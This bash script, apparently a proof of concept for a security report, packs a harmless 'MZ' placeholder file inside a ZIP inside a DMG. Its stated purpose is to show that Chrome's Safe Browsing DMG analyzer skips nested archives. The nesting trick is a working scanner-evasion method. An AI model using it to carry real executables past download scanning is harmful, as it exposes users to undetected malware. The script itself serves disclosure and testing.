#!/bin/bash
# Builds a test DMG containing a nested ZIP archive that itself contains a
# benign "executable" payload. Used to demonstrate that Chrome's Safe Browsing
# DMG analyzer never inspects the contents of nested archives.
#
# Run on macOS only (uses hdiutil).
set -euo pipefail

WORK="$(mktemp -d)"
OUT="${1:-nested.dmg}"

# Benign payload: a 2-byte file with the PE/DOS magic so the inner-archive
# scanner would classify it as an executable if it were ever reached.
printf 'MZ' > "${WORK}/payload.exe"

# Nest it inside a ZIP.
(cd "${WORK}" && zip -q -0 inner.zip payload.exe && rm payload.exe)

# Wrap the ZIP in a DMG. UDZO is a compressed UDIF image with an HFS+
# filesystem — this is the format DMGIterator parses.
hdiutil create -srcfolder "${WORK}" -volname POCVOL -fs HFS+ \
  -format UDZO -ov "${OUT}"

rm -rf "${WORK}"
echo "Wrote ${OUT}"